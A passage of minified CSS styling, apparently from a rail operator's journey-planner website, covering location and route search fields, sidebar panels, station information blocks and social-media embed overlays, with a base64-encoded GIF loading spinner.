Std;font-size:18px;line-height:18px;font-weight:500;display:block;width:100%;color:#3a3a3a;border:none;background:none;z-index:1;position:relative;height:46px;padding:0}.location-search-input::-webkit-input-placeholder{color:#8c8c8c;font-family:Circular Std}.location-search-input::-moz-placeholder{color:#8c8c8c;font-family:Circular Std}.location-search-input:-ms-input-placeholder{color:#8c8c8c;font-family:Circular Std}.location-search-input:-moz-placeholder{color:#8c8c8c;font-family:Circular Std}.location-search-input::-webkit-input-placeholder{line-height:normal!important}.location-search-input::-ms-clear{display:none}.location-search-input:focus{outline:none;box-shadow:none}.location-search-list{display:none;padding:0;list-style:none;margin-bottom:0}.location-search-option{font-size:18px;list-style:none;line-height:normal;padding:13px 1rem 12px;cursor:pointer;position:relative;color:#3a3a3a;display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start;border-bottom:2px solid #dedede}.location-search-option:last-child{border-bottom:none}.location-search-option:before{display:none}.location-search-option.focus,.location-search-option.is-selected,.location-search-option:hover{background:#f1f5f5;color:#006ab3}.location-search-option strong{font-weight:400;color:#006ab3}.location-search-option-icon{-ms-flex:0 0 auto;flex:0 0 auto;width:20px;height:20px;position:relative}.location-search-option-label{-ms-flex:1 1 auto;flex:1 1 auto;padding:0 .75rem}.location-search-option-favorite{-ms-flex:0 0 auto;flex:0 0 auto;width:20px;height:20px;position:relative;border:0;background:transparent;cursor:pointer}.location-search-option-favorite.is-favorite{color:#f8e81c}.location-search-option__info{color:#8c8c8c;font-style:italic;padding-left:8px}.location-search-history{position:relative;font-size:12px;color:#8c8c8c;padding:10px 1rem 0;margin-bottom:-5px;display:none}.location-search-noresults{display:none;background:#f1f5f5;color:#8c8c8c;font-style:italic;line-height:normal;padding:13px 1rem 12px;margin-top:5px;position:relative}.location-search-noresults.is-active{display:block}.location-search-noresults__loading{background:#f1f5f5 url("data:image/gif;base64,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");background-size:5%;background-position:0;background-repeat:no-repeat;color:#8c8c8c;font-style:italic;line-height:normal;position:relative}.route-search,.route-search--inverse{position:relative}.route-search--inverse .location-search,.route-search .location-search{width:calc(100% - 38px)}.route-search--inverse .location-search-cancel,.route-search .location-search-cancel{background:transparent;display:none;position:absolute;right:5px;bottom:28px;left:auto;top:auto;z-index:2;border:none;box-shadow:0;padding:5px}.route-search--inverse .submitter,.route-search .submitter{opacity:0;height:0!important;width:0!important;margin:0;padding:0;line-height:0;position:absolute;right:0;top:0}.route-search--inverse,.route-search--inverse .location-search,.route-search--inverse .location-search.location-search--inverse{color:#fff}.route-search--inverse .location-search-input,.route-search--inverse .location-search-label,.route-search--inverse .location-search.location-search--inverse-input,.route-search--inverse .location-search.location-search--inverse-label{color:#ddf1fa}.route-search--inverse .location-search-input::-webkit-input-placeholder,.route-search--inverse .location-search.location-search--inverse-input::-webkit-input-placeholder{color:#ddf1fa}.route-search--inverse .location-search-input::-moz-placeholder,.route-search--inverse .location-search.location-search--inverse-input::-moz-placeholder{color:#ddf1fa}.route-search--inverse .location-search-input:-ms-input-placeholder,.route-search--inverse .location-search.location-search--inverse-input:-ms-input-placeholder{color:#ddf1fa}.route-search--inverse .location-search-input:-moz-placeholder,.route-search--inverse .location-search.location-search--inverse-input:-moz-placeholder{color:#ddf1fa}.route-search--inverse .location-search.is-active .location-search-label,.route-search--inverse .location-search.location-search--inverse.is-active .location-search-label{color:#006ab3}.route-search--inverse .location-search.is-active .location-search:before,.route-search--inverse .location-search.location-search--inverse.is-active .location-search:before{border:0}.route-search--inverse .location-search.is-active .location-search-input,.route-search--inverse .location-search.location-search--inverse.is-active .location-search-input{color:#3a3a3a}.route-search--inverse .location-search.is-active .location-search-input::-webkit-input-placeholder,.route-search--inverse .location-search.location-search--inverse.is-active .location-search-input::-webkit-input-placeholder{color:#dedede}.route-search--inverse .location-search.is-active .location-search-input::-moz-placeholder,.route-search--inverse .location-search.location-search--inverse.is-active .location-search-input::-moz-placeholder{color:#dedede}.route-search--inverse .location-search.is-active .location-search-input:-ms-input-placeholder,.route-search--inverse .location-search.location-search--inverse.is-active .location-search-input:-ms-input-placeholder{color:#dedede}.route-search--inverse .location-search.is-active .location-search-input:-moz-placeholder,.route-search--inverse .location-search.location-search--inverse.is-active .location-search-input:-moz-placeholder{color:#dedede}.route-search--inverse .location-search-input,.route-search--inverse .location-search.location-search--inverse-input{padding-right:30px}.navigation-bar,.sidebar{transition:all .3s}.searching-location .sidebar{margin-top:0}.searching-location .route-search--inverse .location-search,.searching-location .route-search .location-search{width:85%}.location-switch{background:transparent;border:none;position:absolute;width:38px;height:40px;right:0;top:42px;z-index:20;color:currentColor}.location-switch .icon{width:100%;height:100%;stroke:0}.location-switch:not([disabled]){cursor:pointer}.location-switch[disabled]{opacity:.3;cursor:not-allowed}.route-type-input{position:relative}.route-type-input .datepicker+.datepicker{margin-top:20px;position:absolute;visibility:hidden;width:100%}.route-type-input.is-roundtrip .datepicker+.datepicker{position:static;visibility:visible}.search-filters{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin:0;padding:0}.search-filters li{padding:0;list-style-type:none}.search-filters li:before{display:none}.search-filters li{width:33.33333%}.search-filters li .chk{margin:5px 0}.search-results{margin:0;padding:0}.search-results li{padding:0;list-style-type:none}.search-results li:before{display:none}.search-result{border:1px solid #f1f5f5;border-top:0;position:relative}.search-result .breadcrumb{margin-top:5px}.search-result .breadcrumb,.search-result .breadcrumb a{color:#8c8c8c;font-weight:400}.search-result:first-child{border-top:1px solid #f1f5f5}.search-result-overlay-link{position:absolute;top:0;left:0;right:0;bottom:0}.share-bar{margin:0;display:-ms-flexbox;display:flex}.share-bar--inline{display:-ms-inline-flexbox;display:inline-flex}.share-bar li{padding-right:10px;padding-left:0;-ms-flex:30px 0 0px;flex:30px 0 0}.share-bar li:last-child{padding-right:0}.share-bar li:before{display:none}@keyframes d{0%{transform:translate3d(-100%,0,0)}to{transform:translateZ(0)}}.sidebar-panel{overflow-y:auto;transform:translate3d(-100%,0,0)}.sidebar-panel-wrapper{z-index:998;position:absolute;top:80px;display:none;background:#fff;width:100%}@media (min-width:992px){.sidebar-panel-wrapper{height:100%;top:0;width:calc(100% - 350px);left:350px;display:none;overflow:hidden;background:transparent}.sidebar-panel-wrapper:before{content:"";width:100%;height:100%;position:absolute;background:hsla(0,0%,100%,.5)}}@media print and (min-width:992px){.sidebar-panel-wrapper:before{display:none}}.sidebar-panel-wrapper.active{display:block}@media (min-width:992px){.sidebar-panel-wrapper.active{position:fixed}}.sidebar-panel-wrapper.active .sidebar-panel{min-height:calc(100vh - 80px);animation:d .3s forwards;animation-timing-function:ease-out;animation-delay:.12s}@media (min-width:1440px){.sidebar-panel-wrapper{left:420px;width:calc(100% - 420px)}}.sidebar-panel__content{padding:0 20px 20px}.sidebar-panel__topnav{padding:20px 0}.sidebar-panel__topnav a{color:#0069b4!important}.sidebar-panel__topnav a:hover{color:#1b3b6e!important}.sidebar-panel__header--print,.sidebar-panel__qrcode--print{display:none}.sidebar-panel__footer,.sidebar-panel__header{width:100%;padding:0 0 30px}.sidebar-panel__footer:after,.sidebar-panel__footer:before,.sidebar-panel__header:after,.sidebar-panel__header:before{content:" ";display:table}.sidebar-panel__footer:after,.sidebar-panel__header:after{clear:both}.sidebar-panel__footer-title .h1,.sidebar-panel__footer-title .h2,.sidebar-panel__footer-title h1,.sidebar-panel__footer-title h2,.sidebar-panel__footer-title p,.sidebar-panel__header-title .h1,.sidebar-panel__header-title .h2,.sidebar-panel__header-title h1,.sidebar-panel__header-title h2,.sidebar-panel__header-title p{margin:0}.sidebar-panel__footer-title p,.sidebar-panel__header-title p{color:#6e6e6e;font-size:16px}.sidebar-panel__footer-title span,.sidebar-panel__header-title span{font-style:italic}.sidebar-panel__footer>.btn,.sidebar-panel__header>.btn{margin:0}.sidebar-panel__footer--info,.sidebar-panel__header--info{padding:30px 0 0}.sidebar-panel__footer--line,.sidebar-panel__header--line{border-bottom:2px solid #f1f5f5}.sidebar-panel__footer{border-top:2px solid #f1f5f5;padding:30px 0}@media (max-width:650px){.sidebar-panel__footer{text-align:right}}.sidebar-panel__footer-title:after,.sidebar-panel__footer-title:before{content:" ";display:table}.sidebar-panel__footer-title:after{clear:both}@media (min-width:992px){.sidebar-panel{position:absolute;left:0;top:0;height:100%;width:calc(100vw - 420px);min-height:auto;background:#fff;transform:translate3d(-100%,0,0)}.sidebar-panel-wrapper{z-index:998}.sidebar-panel--small{width:430px}.sidebar-panel--medium{width:655px}.sidebar-panel__content{padding:0 35px 35px;height:100%}.sidebar-panel__topnav{padding:40px 0 55px;height:130px}.sidebar-panel__footer,.sidebar-panel__header{display:-ms-flexbox;display:flex;-ms-flex-align:end;align-items:flex-end}.sidebar-panel__footer-title,.sidebar-panel__header-title{-ms-flex:1;flex:1}.sidebar-panel__footer-title span,.sidebar-panel__header-title span{display:inline-block}.sidebar-panel__footer>.btn,.sidebar-panel__header>.btn{margin:0 0 5px 15px}}@media (min-width:992px){.sidebar-panel{box-shadow:2px 0 3px 0 rgba(0,0,0,.2)}.sidebar-panel__footer--info,.sidebar-panel__header--info{padding:60px 0 0}.sidebar-panel__footer{padding:50px 0 40px}.sidebar-panel__header-title p{font-size:18px}.sidebar-panel__background--open,.sidebar-panel__close{display:block}.sidebar-panel__content{padding:0 30px 30px}.sidebar-panel--arrow{width:100%}.sidebar-panel--arrow:after{content:"";display:block;position:absolute;right:-35px;top:calc(50% - 15px);pointer-events:none;outline:none;outline-color:#fff;outline-width:thick;width:0;height:0;border-style:solid;border-width:15px 15px 15px 0;border-color:transparent #fff transparent transparent;animation:b .1s forwards}}@media (min-width:1280px){.sidebar-panel__content{padding:0 50px}.sidebar-panel--arrow:after{right:-50px}}.sidebar{z-index:100;width:100%;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-top:80px;position:relative;min-height:-webkit-fill-available}@media (max-width:992px){.sidebar.lock .sidebar__stack-item{position:absolute;top:0;height:100vh;z-index:0;overflow:hidden}.sidebar__header{cursor:pointer}}.sidebar__header{padding:0 20px;padding-top:20px;position:relative}.sidebar .sidebar__expandable__arrow{display:none}@media (max-width:991px){.sidebar .sidebar__expandable__arrow{display:block;position:absolute;top:35px;right:40px}}.sidebar .sidebar__expandable__arrow .icon{transition:transform .1s linear}.sidebar .sidebar__expandable__arrow--expanded .icon{transform:rotate(90deg)}.sidebar__title{font-size:36px;line-height:46px;margin-bottom:23px}.sidebar__title h1>span{font-size:80%}.sidebar__block{padding:20px}.sidebar__block--fluid{-ms-flex:1;flex:1}.sidebar__block--bg-image{background-size:100%;background-repeat:no-repeat;background-position:bottom}@media (max-width:991px){.sidebar__block{margin:0}.sidebar__block__expandable:not(.sidebar__block__expandable--expanded){height:0;overflow:hidden;padding:0;margin:5px}}.sidebar__stack-item{position:absolute;top:0;left:0;height:100%;width:100%;min-height:100vh;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-top:0;transition:transform .3s ease-out;transform:translate3d(-100%,0,0)}.sidebar__stack-item:first-child{position:relative;padding-top:0;min-height:auto}.sidebar__stack-item.active{transform:translateZ(0)}.sidebar-planner{z-index:1000}.sidebar-planner .hide-mobile:not(a){display:block!important}.sidebar.sidebarlock{position:fixed}@media (max-width:992px){.sidebar{min-height:auto}}@media (min-width:992px){.sidebar{width:350px;position:absolute;top:0}.sidebar-planner{top:80px}.sidebar__header{position:relative;padding:0 30px}.sidebar--right{right:0}.sidebar__block{padding:30px;padding-top:20px;padding-bottom:20px}.sidebar__stack-item{padding-top:0}.sidebar__stack-item,.sidebar__stack-item:first-child{position:absolute}}@media (min-width:1440px){.sidebar{background-color:purple;width:420px}}@media print{.sidebar{position:static!important;width:auto!important;height:auto!important;padding-top:0!important}}.sidebar .sidebar-panel-wrapper.active{min-height:inherit!important;top:80px}.sidebar .sidebar-panel-wrapper.active .sidebar-panel{max-height:calc(100% - 80px)!important;height:calc(100% - 80px)!important}@media (max-width:992px){.headnav .sidebar-planner.stack-active .sidebar__stack-item{padding-top:80px}}.social-embed,.video-embed{position:relative;overflow:hidden;padding-top:0;padding-left:0;padding-right:0;margin-bottom:10px}.social-embed embed,.social-embed iframe,.social-embed object,.video-embed embed,.video-embed iframe,.video-embed object{top:0;left:0;border:0}.social-embed.rendered .social-container,.video-embed.rendered .social-container{height:auto!important}@media (max-width:650px){.social-embed .social-container,.video-embed .social-container{width:100%!important}}.social-embed .social-consent-overlay,.video-embed .social-consent-overlay{position:absolute;top:0;left:0;background-color:#bfbcbc}@media (max-width:650px){.social-embed .social-consent-overlay,.video-embed .social-consent-overlay{width:100%!important}}.social-embed .overlay-brail-container,.video-embed .overlay-brail-container{position:absolute;top:3%;left:1%;width:98%;height:94%;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;-ms-flex-align:center;align-items:center;box-sizing:border-box;padding:2%;color:#fff;border:2px solid #fff;border-radius:24px}.social-embed .social-consent-overlay-text,.video-embed .social-consent-overlay-text{text-align:center}.social-embed .twitter-tweet,.video-embed .twitter-tweet{margin-top:0!important}.consent-overlay-nmbsLogo,.consent-overlay-nmbsLogo .icon{position:absolute;height:60px;width:65px;bottom:0;right:20px}@media (max-width:650px){.social-embed.mobile-responsive{position:relative;height:0;overflow:hidden;padding:0 0 56.25%}.social-embed.mobile-responsive embed,.social-embed.mobile-responsive iframe,.social-embed.mobile-responsive object{position:absolute;top:0;left:0;width:100%;height:100%;border:0}.social-container .overlay-brail-container{border-radius:0 0 20px 0!important;border-top:none!important;border-left:none!important;top:0!important;left:0!important;width:96%!important;height:94%!important}.consent-overlay-nmbsLogo,.consent-overlay-nmbsLogo .icon{height:30px;width:35px}}.social-teaser-list__item{padding:0;width:100%;margin-bottom:20px;padding-right:20px}.social-teaser-list__item:before{display:none}@media (min-width:650px){.social-teaser-list{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-20px}.social-teaser-list__item{-ms-flex:33.33333333333%;flex:33.33333333333%;width:inherit;max-width:33.333333333%}.social-teaser-list__item--xl{-ms-flex:100%;flex:100%;max-width:100%}}@media (min-width:991px){.social-teaser-list__item--xl{-ms-flex:66.66666666666%;flex:66.66666666666%;max-width:66.666666666%}}.social-teaser{display:block;padding:0;position:relative;width:100%;height:100%}.social-teaser__content{padding:20px 20px 40px;margin:0}@media (min-width:650px){.social-teaser__content{padding:40px 40px 60px}}.social-teaser__type{position:absolute;left:0;bottom:0;padding:15px;width:100%;height:40%;display:-ms-flexbox;display:flex;-ms-flex-align:end;align-items:flex-end}.social-teaser__type .icon{top:-2px}.social-teaser--instagram{padding-bottom:100%;background-size:cover}.social-teaser--instagram .social-teaser__type{color:#fff;background-image:linear-gradient(-180deg,transparent,rgba(0,0,0,.4) 96%)}.social-teaser--twitter{border:2px solid #f1f5f5}.social-teaser--twitter .social-teaser__type{color:#029edc}@media (min-width:650px){.social-teaser--twitter__content{padding:20px 20px 40px}.social-teaser--twitter__type{position:absolute}}.station-info__group{margin:30px 0}.station-info{border-bottom:2px solid #f1f5f5;border-top:2px solid #f1f5f5;background:#fff;position:relative}@media (max-width:650px){.station-info+.station-info{border-top:0}}.station-info__content{padding:30px 20px}.station-info__descr{color:#8c8c8c}.station-info__icons{color:#006ab3;margin-top:10px}.station-info__icons svg{margin-right:15px}.station-info__icons svg:last-child{margin-right:0}.station-info__title{margin:-2px 0 0;position:relative;display:inline-block}.station-info__subtitle{font-weight:700;margin:0 0 5px;display:block}.station-info__actions{margin-top:25px;display:-ms-flexbox;display:flex;-ms-flex-pack:justify;justify-content:space-between;-ms-flex-pack:end;justify-content:flex-end;-ms-flex-align:end;align-items:flex-end}.station-info__actions>*{-ms-flex:1;flex:1}.station-info__actions--stack{-ms-flex-direction:column;flex-direction:column;-ms-flex-align:center;align-items:center}@media (min-width:650px){.station-info{border:2px solid #f1f5f5;margin:10px 0}.station-info__content{padding:30px}}@media (min-width:992px){.station-info__content{display:-ms-flexbox;display:flex}.station-info__info{-ms-flex:1;flex:1;-ms-flex-positive:2;flex-grow:2}.station-info__info>*{padding-right:20px}.station-info__actions{margin-top:0;-ms-flex:1;flex:1}.station-info__actions>:not(.select),.station-info__actions>:not(select){-ms-flex:initial;flex:initial}}.stepper-wrapper{margin-top:auto;display:-ms-flexbox;display:flex;-ms-flex-pack:justify;justify-content:space-between;margin-bottom:20px;text-decoration:none;font-size:12px}@media (max-width:991px){.stepper-wrapper{overflow:scroll}}.stepper-wrapper .stepper-item{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-align:center;align-items:center;-ms-flex:1;flex:1}@media (max-width:768px){.stepper-wrapper .stepper-item{font-size:12px;min-width:80px}}.stepper-wrapper .stepper-item:before{left:-50%}.stepper-wrapper 